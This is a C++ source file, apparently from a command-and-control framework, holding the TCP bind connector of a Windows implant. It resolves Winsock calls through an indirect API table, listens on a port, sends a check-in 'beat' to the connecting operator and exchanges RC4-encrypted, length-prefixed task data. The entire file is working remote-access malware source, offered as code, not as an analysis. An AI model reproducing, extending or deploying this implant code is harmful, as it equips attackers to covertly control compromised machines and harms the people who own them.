2026-04-06 00:20:51 -05:00

317 lines
7.7 KiB
C++

#include "ConnectorTCP.h"
#include "ApiLoader.h"
#include "ApiDefines.h"
#include "ProcLoader.h"
#include "Crypt.h"
#include "utils.h"
void* ConnectorTCP::operator new(size_t sz)
{
void* p = MemAllocLocal(sz);
return p;
}
void ConnectorTCP::operator delete(void* p) noexcept
{
MemFreeLocal(&p, sizeof(ConnectorTCP));
}
ConnectorTCP::ConnectorTCP()
{
this->functions = (TCPFUNC*)ApiWin->LocalAlloc(LPTR, sizeof(TCPFUNC));
this->functions->LocalAlloc = ApiWin->LocalAlloc;
this->functions->LocalReAlloc = ApiWin->LocalReAlloc;
this->functions->LocalFree = ApiWin->LocalFree;
this->functions->LoadLibraryA = ApiWin->LoadLibraryA;
this->functions->GetLastError = ApiWin->GetLastError;
this->functions->GetTickCount = ApiWin->GetTickCount;
this->functions->WSAStartup = ApiWin->WSAStartup;
this->functions->WSACleanup = ApiWin->WSACleanup;
this->functions->socket = ApiWin->socket;
this->functions->ioctlsocket = ApiWin->ioctlsocket;
this->functions->WSAGetLastError = ApiWin->WSAGetLastError;
this->functions->closesocket = ApiWin->closesocket;
this->functions->listen = ApiWin->listen;
this->functions->bind = ApiWin->bind;
this->functions->select = ApiWin->select;
this->functions->accept = ApiWin->accept;
this->functions->__WSAFDIsSet = ApiWin->__WSAFDIsSet;
this->functions->send = ApiWin->send;
this->functions->recv = ApiWin->recv;
this->functions->shutdown = ApiWin->shutdown;
}
BOOL ConnectorTCP::SetProfile(void* profilePtr, BYTE* beatData, ULONG beatDataSize)
{
ProfileTCP profile = *(ProfileTCP*)profilePtr;
if (beatData && beatDataSize) {
this->beat = (BYTE*)MemAllocLocal(beatDataSize);
if (this->beat) {
memcpy(this->beat, beatData, beatDataSize);
this->beatSize = beatDataSize;
}
}
this->port = profile.port;
WSAData WSAData;
if (this->functions->WSAStartup(514u, &WSAData) < 0)
return FALSE;
SOCKET sock = this->functions->socket(AF_INET, SOCK_STREAM, 0);
if (sock == -1)
return FALSE;
struct sockaddr_in saddr = { 0 };
saddr.sin_family = AF_INET;
saddr.sin_port = ((this->port >> 8) & 0x00FF) | ((this->port << 8) & 0xFF00); // port
if (this->functions->bind(sock, (struct sockaddr*)&saddr, sizeof(sockaddr)) == -1) {
this->functions->closesocket(sock);
return FALSE;
}
if (this->functions->listen(sock, 1) == -1) {
this->functions->closesocket(sock);
return FALSE;
}
this->prepend = profile.prepend;
this->SrvSocket = sock;
return TRUE;
}
BOOL CheckState(SOCKET sock, int timeoutMs)
{
ULONG endTime = ApiWin->GetTickCount() + timeoutMs;
while (ApiWin->GetTickCount() < endTime) {
fd_set readSet;
FD_ZERO(&readSet);
FD_SET(sock, &readSet);
timeval timeout = { 0, 100 };
int selResult = ApiWin->select(0, &readSet, NULL, NULL, &timeout);
if (selResult == 0)
return TRUE;
if (selResult == SOCKET_ERROR)
return FALSE;
char buf;
int recvResult = ApiWin->recv(sock, &buf, 1, MSG_PEEK);
if (recvResult == 0)
return FALSE;
if (recvResult < 0)
{
int err = ApiWin->WSAGetLastError();
if (err == WSAEWOULDBLOCK)
return TRUE;
}
else return TRUE;
}
return FALSE;
}
void ConnectorTCP::SendData(BYTE* data, ULONG data_size)
{
this->recvSize = 0;
if (data && data_size) {
if (this->functions->send(this->ClientSocket, (const char*)&data_size, 4, 0) != -1) {
DWORD index = 0;
DWORD size = 0;
DWORD NumberOfBytesWritten = 0;
while (1) {
size = data_size - index;
if (data_size - index > 0x1000)
size = 0x1000;
NumberOfBytesWritten = this->functions->send(this->ClientSocket, (const char*)(data + index), size, 0);
if (NumberOfBytesWritten == -1)
break;
index += NumberOfBytesWritten;
if (index >= data_size)
break;
}
}
}
bool alive = false;
ULONG endTime = this->functions->GetTickCount() + 2500;
while (this->functions->GetTickCount() < endTime) {
fd_set readfds;
readfds.fd_count = 1;
readfds.fd_array[0] = this->ClientSocket;
timeval timeout = { 0, 100 };
int selResult = this->functions->select(0, &readfds, NULL, NULL, &timeout);
if (selResult == 0) {
alive = true;
break;
}
if (selResult == SOCKET_ERROR)
break;
char buf;
int recvResult = this->functions->recv(this->ClientSocket, &buf, 1, MSG_PEEK);
if (recvResult == 0)
break;
if (recvResult < 0) {
if (this->functions->WSAGetLastError() == WSAEWOULDBLOCK) {
alive = true;
break;
}
}
else {
alive = true;
break;
}
}
if (!alive) {
this->recvSize = -1;
return;
}
DWORD totalBytesAvail = 0;
int result = this->functions->ioctlsocket(this->ClientSocket, FIONREAD, &totalBytesAvail);
if (result != -1 && totalBytesAvail >= 4) {
ULONG dataLength = 0;
if (this->functions->recv(this->ClientSocket, (PCHAR)&dataLength, 4, 0) != -1 && dataLength) {
if (dataLength > this->allocaSize) {
this->recvData = (BYTE*)this->functions->LocalReAlloc(this->recvData, dataLength, 0);
this->allocaSize = dataLength;
}
ULONG index = 0;
int NumberOfBytesRead = 0;
while ((NumberOfBytesRead = this->functions->recv(this->ClientSocket, (PCHAR)this->recvData + index, dataLength - index, 0)) && NumberOfBytesRead != -1) {
index += NumberOfBytesRead;
if (index > dataLength) {
this->recvSize = -1;
return;
}
if (index == dataLength)
break;
}
this->recvSize = index;
}
}
}
BYTE* ConnectorTCP::RecvData()
{
return this->recvData;
}
int ConnectorTCP::RecvSize()
{
return this->recvSize;
}
void ConnectorTCP::RecvClear()
{
if (this->recvData && this->allocaSize) {
if (this->recvSize > 0)
memset(this->recvData, 0, this->recvSize);
else
memset(this->recvData, 0, this->allocaSize);
}
}
void ConnectorTCP::Listen()
{
fd_set readfds;
readfds.fd_count = 1;
readfds.fd_array[0] = this->SrvSocket;
while (1) {
int sel = this->functions->select(0, &readfds, 0, 0, NULL);
if (sel > 0 && readfds.fd_array[0] == this->SrvSocket) {
SOCKET clientSock = this->functions->accept(this->SrvSocket, 0, 0);
if (clientSock != -1) {
this->ClientSocket = clientSock;
break;
}
}
}
this->recvData = (BYTE*)this->functions->LocalAlloc(LPTR, 0x100000);
this->allocaSize = 0x100000;
}
BOOL ConnectorTCP::WaitForConnection()
{
this->Listen();
this->SendData(this->beat, this->beatSize);
this->connected = TRUE;
return TRUE;
}
BOOL ConnectorTCP::IsConnected()
{
return this->connected;
}
void ConnectorTCP::Disconnect()
{
this->DisconnectInternal();
this->connected = FALSE;
}
void ConnectorTCP::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey)
{
if (plainData && plainSize > 0) {
EncryptRC4(plainData, plainSize, sessionKey, 16);
this->SendData(plainData, plainSize);
}
else {
this->SendData(NULL, 0);
}
if (this->recvSize < 0) {
this->connected = FALSE;
return;
}
if (this->recvSize > 0 && this->recvData) {
DecryptRC4(this->recvData, this->recvSize, sessionKey, 16);
}
}
void ConnectorTCP::DisconnectInternal()
{
if (this->allocaSize && this->recvData) {
memset(this->recvData, 0, this->allocaSize);
this->functions->LocalFree(this->recvData);
this->recvData = NULL;
}
this->allocaSize = 0;
this->recvData = 0;
this->functions->shutdown(this->ClientSocket, 2);
this->functions->closesocket(this->ClientSocket);
}
void ConnectorTCP::CloseConnector()
{
if (this->beat && this->beatSize) {
MemFreeLocal((LPVOID*)&this->beat, this->beatSize);
this->beat = NULL;
this->beatSize = 0;
}
this->functions->shutdown(this->SrvSocket, 2);
this->functions->closesocket(this->SrvSocket);
}